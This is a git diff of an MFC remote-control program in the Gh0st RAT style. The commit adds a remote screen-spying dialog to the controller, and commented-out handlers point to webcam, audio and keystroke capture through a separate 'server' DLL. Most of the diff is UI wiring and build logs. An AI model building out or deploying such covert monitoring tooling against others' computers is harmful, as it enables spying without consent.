diff --git a/CcMainDll/.vs/CcMainDll/v15/.suo b/CcMainDll/.vs/CcMainDll/v15/.suo
index b65a686..cc729e1 100644
Binary files a/CcMainDll/.vs/CcMainDll/v15/.suo and b/CcMainDll/.vs/CcMainDll/v15/.suo differ
diff --git a/CcRemote/.vs/CcRemote/v15/.suo b/CcRemote/.vs/CcRemote/v15/.suo
index 28c9aba..9b19351 100644
Binary files a/CcRemote/.vs/CcRemote/v15/.suo and b/CcRemote/.vs/CcRemote/v15/.suo differ
diff --git a/CcRemote/CcRemote/CScreenSpyDlg.cpp b/CcRemote/CcRemote/CScreenSpyDlg.cpp
index d924438..aa5e576 100644
--- a/CcRemote/CcRemote/CScreenSpyDlg.cpp
+++ b/CcRemote/CcRemote/CScreenSpyDlg.cpp
@@ -276,7 +276,7 @@ void CScreenSpyDlg::OnHScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar)
SetScrollPos(SB_HORZ, m_HScrollPos);
- OnPaint();
+ PostMessage(WM_PAINT);
CDialog::OnHScroll(nSBCode, nPos, pScrollBar);
}
@@ -378,7 +378,8 @@ void CScreenSpyDlg::DrawFirstScreen(void)
//这里也很简单就是得到服务端发来的数据 ,将他拷贝到HBITMAP的缓冲区中,这样一个图像就出现了
memcpy(m_lpScreenDIB, m_pContext->m_DeCompressionBuffer.GetBuffer(1), m_lpbmi->bmiHeader.biSizeImage);
//我们到OnPaint()函数
- OnPaint();
+ //OnPaint();
+ PostMessage(WM_PAINT);
}
@@ -434,7 +435,7 @@ void CScreenSpyDlg::DrawNextScreenDiff(void)
jnz CopyNextBlock
}
- if (bIsReDraw) OnPaint();
+ if (bIsReDraw) PostMessage(WM_PAINT);
}
@@ -511,7 +512,7 @@ void CScreenSpyDlg::DrawNextScreenRect(void)
dwOffset += sizeof(RECT) + m_lpbmi_rect->bmiHeader.biSizeImage;
}
- if (bIsReDraw) OnPaint();
+ if (bIsReDraw) PostMessage(WM_PAINT);
}
//更改屏幕分辨率
diff --git a/CcRemote/CcRemote/CcRemote.vcxproj b/CcRemote/CcRemote/CcRemote.vcxproj
index f49b18e..285a7eb 100644
--- a/CcRemote/CcRemote/CcRemote.vcxproj
+++ b/CcRemote/CcRemote/CcRemote.vcxproj
@@ -96,6 +96,7 @@
false
WIN32;_WINDOWS;_DEBUG;%(PreprocessorDefinitions)
pch.h
+ Default
Windows
diff --git a/CcRemote/CcRemote/CcRemoteDlg.cpp b/CcRemote/CcRemote/CcRemoteDlg.cpp
index 97c85d5..a0f44e5 100644
--- a/CcRemote/CcRemote/CcRemoteDlg.cpp
+++ b/CcRemote/CcRemote/CcRemoteDlg.cpp
@@ -83,7 +83,8 @@ BEGIN_MESSAGE_MAP(CCcRemoteDlg, CDialogEx)
ON_MESSAGE(WM_ADDTOLIST,OnAddToList)
ON_MESSAGE(WM_OPENSHELLDIALOG, OnOpenShellDialog)
ON_MESSAGE(WM_OPENPSLISTDIALOG, OnOpenSystemDialog)
-
+ ON_MESSAGE(WM_OPENSCREENSPYDIALOG, OnOpenScreenSpyDialog)
+
//-------------系统-------------
ON_WM_SYSCOMMAND()
@@ -498,6 +499,8 @@ void CCcRemoteDlg::OnOnlineCmd()
void CCcRemoteDlg::OnOnlineDesktop()
{
// TODO: 在此添加命令处理程序代码
+ BYTE bToken = COMMAND_SCREEN_SPY; //向服务端发送COMMAND_SCREEN_SPY CKernelManager::OnReceive搜之
+ SendSelectCommand(&bToken, sizeof(BYTE));
}
@@ -751,9 +754,9 @@ void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)
//case FILEMANAGER_DLG:
// ((CFileManagerDlg *)dlg)->OnReceiveComplete();
// break;
- //case SCREENSPY_DLG:
- // ((CScreenSpyDlg *)dlg)->OnReceiveComplete();
- // break;
+ case SCREENSPY_DLG:
+ ((CScreenSpyDlg *)dlg)->OnReceiveComplete();
+ break;
//case WEBCAM_DLG:
// ((CWebCamDlg *)dlg)->OnReceiveComplete();
// break;
@@ -765,7 +768,7 @@ void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)
// break;
case SYSTEM_DLG:
((CSystemDlg *)dlg)->OnReceiveComplete();
- break;
+ break;
case SHELL_DLG:
((CShellDlg *)dlg)->OnReceiveComplete();
break;
@@ -808,22 +811,22 @@ void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)
break;
/*case TOKEN_DRIVE_LIST: // 驱动器列表
// 指接调用public函数非模态对话框会失去反应, 不知道怎么回事,太菜
- g_pConnectView->PostMessage(WM_OPENMANAGERDIALOG, 0, (LPARAM)pContext);
- break;
- case TOKEN_BITMAPINFO: //
- // 指接调用public函数非模态对话框会失去反应, 不知道怎么回事
- g_pConnectView->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)pContext);
+ g_pCcRemoteDlg->PostMessage(WM_OPENMANAGERDIALOG, 0, (LPARAM)pContext);
break;
+
case TOKEN_WEBCAM_BITMAPINFO: // 摄像头
- g_pConnectView->PostMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)pContext);
+ g_pCcRemoteDlg->PostMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)pContext);
break;
case TOKEN_AUDIO_START: // 语音
- g_pConnectView->PostMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)pContext);
+ g_pCcRemoteDlg->PostMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)pContext);
break;
case TOKEN_KEYBOARD_START:
- g_pConnectView->PostMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)pContext);
+ g_pCcRemoteDlg->PostMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)pContext);
break;*/
-
+ case TOKEN_BITMAPINFO: //
+ // 指接调用public函数非模态对话框会失去反应, 不知道怎么回事
+ g_pCcRemoteDlg->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)pContext);
+ break;
//进程遍历和窗口遍历公用的一个窗口类,在构造判断判断下类型来显示不同的数据
case TOKEN_WSLIST:
case TOKEN_PSLIST:
@@ -971,7 +974,7 @@ LRESULT CCcRemoteDlg::OnOpenShellDialog(WPARAM wParam, LPARAM lParam)
//这里定义远程终端的对话框,转到远程终端的CShellDlg类的定义 先查看对话框界面后转到OnInitDialog
CShellDlg *dlg = new CShellDlg(this, m_iocpServer, pContext);
- // 设置父窗口为卓面
+ // 设置父窗口为桌面
dlg->Create(IDD_SHELL, GetDesktopWindow());
dlg->ShowWindow(SW_SHOW);
@@ -994,4 +997,19 @@ LRESULT CCcRemoteDlg::OnOpenSystemDialog(WPARAM wParam, LPARAM lParam)
pContext->m_Dialog[1] = (int)dlg;
//先看一下这个对话框的界面再看这个对话框类的构造函数
return 0;
+}
+
+//自定义消息 打开屏幕监控窗口
+LRESULT CCcRemoteDlg::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam)
+{
+ ClientContext *pContext = (ClientContext *)lParam;
+
+ CScreenSpyDlg *dlg = new CScreenSpyDlg(this, m_iocpServer, pContext);
+ // 设置父窗口为桌面
+ dlg->Create(IDD_SCREENSPY, GetDesktopWindow());
+ dlg->ShowWindow(SW_SHOW);
+
+ pContext->m_Dialog[0] = SCREENSPY_DLG;
+ pContext->m_Dialog[1] = (int)dlg;
+ return 0;
}
\ No newline at end of file
diff --git a/CcRemote/CcRemote/CcRemoteDlg.h b/CcRemote/CcRemote/CcRemoteDlg.h
index 5aed690..3f608ed 100644
--- a/CcRemote/CcRemote/CcRemoteDlg.h
+++ b/CcRemote/CcRemote/CcRemoteDlg.h
@@ -7,6 +7,7 @@
#include "SEU_QQwry.h"
#include "CShellDlg.h"
#include "CSystemDlg.h"
+#include "CScreenSpyDlg.h"
#pragma once
@@ -99,6 +100,7 @@ public:
afx_msg LRESULT OnAddToList(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnOpenShellDialog(WPARAM, LPARAM);
afx_msg LRESULT OnOpenSystemDialog(WPARAM, LPARAM);
+ afx_msg LRESULT OnOpenScreenSpyDialog(WPARAM, LPARAM);
//-------------系统消息处理-------------
afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult);
diff --git a/CcRemote/CcRemote/Debug/CcRemote.Build.CppClean.log b/CcRemote/CcRemote/Debug/CcRemote.Build.CppClean.log
index 44150e6..35a28bf 100644
--- a/CcRemote/CcRemote/Debug/CcRemote.Build.CppClean.log
+++ b/CcRemote/CcRemote/Debug/CcRemote.Build.CppClean.log
@@ -1,2 +1,30 @@
+g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.pch
+g:\ccremote\ccremote\ccremote\ccremote\debug\vc141.pdb
+g:\ccremote\ccremote\ccremote\ccremote\debug\vc141.idb
+g:\ccremote\ccremote\ccremote\ccremote\debug\pch.obj
+g:\ccremote\ccremote\ccremote\ccremote\debug\truecolortoolbar.obj
+g:\ccremote\ccremote\ccremote\ccremote\debug\seu_qqwry.obj
+g:\ccremote\ccremote\ccremote\ccremote\debug\inifile.obj
+g:\ccremote\ccremote\ccremote\ccremote\debug\cpuusage.obj
+g:\ccremote\ccremote\ccremote\ccremote\debug\csystemdlg.obj
+g:\ccremote\ccremote\ccremote\ccremote\debug\cshelldlg.obj
+g:\ccremote\ccremote\ccremote\ccremote\debug\csettingdlg.obj
+g:\ccremote\ccremote\ccremote\ccremote\debug\cscreenspydlg.obj
+g:\ccremote\ccremote\ccremote\ccremote\debug\ccremotedlg.obj
+g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.obj
+g:\ccremote\ccremote\ccremote\ccremote\debug\iocpserver.obj
+g:\ccremote\ccremote\ccremote\ccremote\debug\buffer.obj
+g:\ccremote\ccremote\bin\ccremote.ilk
+g:\ccremote\ccremote\bin\ccremote.exe
+g:\ccremote\ccremote\bin\ccremote.pdb
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.res
g:\ccremote\ccremote\ccremote\ccremote\..\..\bin\ccremote.exe
+g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.command.1.tlog
+g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.read.1.tlog
+g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.write.1.tlog
+g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.command.1.tlog
+g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.read.1.tlog
+g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.write.1.tlog
+g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.command.1.tlog
+g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.read.1.tlog
+g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.write.1.tlog
diff --git a/CcRemote/CcRemote/Debug/CcRemote.log b/CcRemote/CcRemote/Debug/CcRemote.log
index b6a6ea8..f132222 100644
--- a/CcRemote/CcRemote/Debug/CcRemote.log
+++ b/CcRemote/CcRemote/Debug/CcRemote.log
@@ -2,14 +2,14 @@
pch.cpp
CcRemote.cpp
CcRemoteDlg.cpp
-g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(161): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
+g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(162): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
-g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(166): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
+g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(167): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
-g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(307): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
-g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(324): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
-g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(794): warning C4018: “<=”: 有符号/无符号不匹配
-g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(876): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
+g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(308): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
+g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(325): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
+g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(797): warning C4018: “<=”: 有符号/无符号不匹配
+g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(879): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
CScreenSpyDlg.cpp
g:\ccremote\ccremote\ccremote\ccremote\cscreenspydlg.cpp(54): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
@@ -35,9 +35,9 @@ g:\ccremote\ccremote\ccremote\ccremote\inifile.cpp(33): warning C4996: 'strcat':
IOCPServer.cpp
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(133): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明
-g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(718): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
+g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(720): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
-g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(767): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
-g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(913): warning C4018: “>=”: 有符号/无符号不匹配
+g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(769): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
+g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(915): warning C4018: “>=”: 有符号/无符号不匹配
正在生成代码...
CcRemote.vcxproj -> G:\CcRemote\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe
diff --git a/CcRemote/CcRemote/Debug/iocpserver.obj.enc b/CcRemote/CcRemote/Debug/iocpserver.obj.enc
new file mode 100644
index 0000000..1b7c0e3
Binary files /dev/null and b/CcRemote/CcRemote/Debug/iocpserver.obj.enc differ
diff --git a/CcRemote/CcRemote/Release/CcRemote.Build.CppClean.log b/CcRemote/CcRemote/Release/CcRemote.Build.CppClean.log
index fdb710c..ebd46fd 100644
--- a/CcRemote/CcRemote/Release/CcRemote.Build.CppClean.log
+++ b/CcRemote/CcRemote/Release/CcRemote.Build.CppClean.log
@@ -1,2 +1,31 @@
+g:\ccremote\ccremote\bin\ccremote.ipdb
+g:\ccremote\ccremote\bin\ccremote.iobj
+g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.pch
+g:\ccremote\ccremote\ccremote\ccremote\release\vc141.pdb
+g:\ccremote\ccremote\ccremote\ccremote\release\pch.obj
+g:\ccremote\ccremote\ccremote\ccremote\release\truecolortoolbar.obj
+g:\ccremote\ccremote\ccremote\ccremote\release\seu_qqwry.obj
+g:\ccremote\ccremote\ccremote\ccremote\release\inifile.obj
+g:\ccremote\ccremote\ccremote\ccremote\release\cpuusage.obj
+g:\ccremote\ccremote\ccremote\ccremote\release\csystemdlg.obj
+g:\ccremote\ccremote\ccremote\ccremote\release\cshelldlg.obj
+g:\ccremote\ccremote\ccremote\ccremote\release\csettingdlg.obj
+g:\ccremote\ccremote\ccremote\ccremote\release\cscreenspydlg.obj
+g:\ccremote\ccremote\ccremote\ccremote\release\ccremotedlg.obj
+g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.obj
+g:\ccremote\ccremote\ccremote\ccremote\release\iocpserver.obj
+g:\ccremote\ccremote\ccremote\ccremote\release\buffer.obj
+g:\ccremote\ccremote\bin\ccremote.exe
+g:\ccremote\ccremote\bin\ccremote.pdb
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.res
g:\ccremote\ccremote\ccremote\ccremote\..\..\bin\ccremote.exe
+g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\ccremote.write.1u.tlog
+g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.command.1.tlog
+g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.read.1.tlog
+g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.write.1.tlog
+g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\link.command.1.tlog
+g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\link.read.1.tlog
+g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\link.write.1.tlog
+g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.command.1.tlog
+g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.read.1.tlog
+g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.write.1.tlog
diff --git a/CcRemote/CcRemote/Release/CcRemote.log b/CcRemote/CcRemote/Release/CcRemote.log
index a2becc0..d899a79 100644
--- a/CcRemote/CcRemote/Release/CcRemote.log
+++ b/CcRemote/CcRemote/Release/CcRemote.log
@@ -1,44 +1,15 @@
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
- pch.cpp
- CcRemote.cpp
CcRemoteDlg.cpp
-g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(161): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
+g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(162): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
-g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(166): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
+g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(167): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
-g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(307): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
-g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(324): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
-g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(794): warning C4018: “<=”: 有符号/无符号不匹配
-g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(876): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
+g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(308): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
+g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(325): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
+g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(797): warning C4018: “<=”: 有符号/无符号不匹配
+g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(879): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
- CScreenSpyDlg.cpp
-g:\ccremote\ccremote\ccremote\ccremote\cscreenspydlg.cpp(54): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
- g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
- CSettingDlg.cpp
- CShellDlg.cpp
-g:\ccremote\ccremote\ccremote\ccremote\cshelldlg.cpp(95): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
- g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
-g:\ccremote\ccremote\ccremote\ccremote\cshelldlg.cpp(122): warning C4018: “<”: 有符号/无符号不匹配
-g:\ccremote\ccremote\ccremote\ccremote\cshelldlg.cpp(208): warning C4018: “<=”: 有符号/无符号不匹配
-g:\ccremote\ccremote\ccremote\ccremote\cshelldlg.cpp(218): warning C4018: “<”: 有符号/无符号不匹配
- CSystemDlg.cpp
-g:\ccremote\ccremote\ccremote\ccremote\csystemdlg.cpp(114): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
- g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
- CpuUsage.cpp
- IniFile.cpp
-g:\ccremote\ccremote\ccremote\ccremote\inifile.cpp(33): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
- g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
- SEU_QQwry.cpp
- TrueColorToolBar.cpp
- Buffer.cpp
- IOCPServer.cpp
-g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(133): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
- g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明
-g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(718): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
- g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
-g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(767): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
-g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(913): warning C4018: “>=”: 有符号/无符号不匹配
正在生成代码
- All 503 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
+ All 512 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
已完成代码的生成
CcRemote.vcxproj -> G:\CcRemote\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe
diff --git a/CcRemote/CcRemote/include/IOCPServer.cpp b/CcRemote/CcRemote/include/IOCPServer.cpp
index 6139686..4ff5b50 100644
--- a/CcRemote/CcRemote/include/IOCPServer.cpp
+++ b/CcRemote/CcRemote/include/IOCPServer.cpp
@@ -343,6 +343,11 @@ void CIOCPServer::OnAccept()
// Create the Client context to be associted with the completion port
// Ҫɶ˿ӿͻ˵
ClientContext* pContext = AllocateContext();
+
+ // bugע͵ֲôڵWSAIoctlʱַᷢıд쳣
+ // pContext2pContext2ĵַı䣬pContextûܵӰ
+ // ֻdebugŻ֣֣ӦDZԭɵģջûƽ£²
+ ClientContext* pContext2 = pContext;//ʲôҲ
// AllocateContext fail
if (pContext == NULL)
return;
@@ -386,9 +391,10 @@ void CIOCPServer::OnAccept()
klive.onoff = 1; // ñ
klive.keepalivetime = m_nKeepLiveTime;
klive.keepaliveinterval = 1000 * 10; // ԼΪ10 Resend if No-Reply
+ SOCKET dwIoControlCode = pContext->m_Socket;
WSAIoctl
(
- pContext->m_Socket,
+ dwIoControlCode,
SIO_KEEPALIVE_VALS,
&klive,
sizeof(tcp_keepalive),
@@ -412,7 +418,7 @@ void CIOCPServer::OnAccept()
OVERLAPPEDPLUS *pOverlap = new OVERLAPPEDPLUS(IOInitialize);
- BOOL bSuccess = PostQueuedCompletionStatus(m_hCompletionPort, 0, (DWORD) pContext, &pOverlap->m_ol);
+ BOOL bSuccess = PostQueuedCompletionStatus(m_hCompletionPort, 0, (DWORD)pContext, &pOverlap->m_ol);
if ( (!bSuccess && GetLastError( ) != ERROR_IO_PENDING))
{
diff --git a/bin/CcRemote.exe b/bin/CcRemote.exe
index 5875023..13d4391 100644
Binary files a/bin/CcRemote.exe and b/bin/CcRemote.exe differ
diff --git a/bin/server/CcMainDll.dll b/bin/server/CcMainDll.dll
index b2c8ae8..956046f 100644
Binary files a/bin/server/CcMainDll.dll and b/bin/server/CcMainDll.dll differ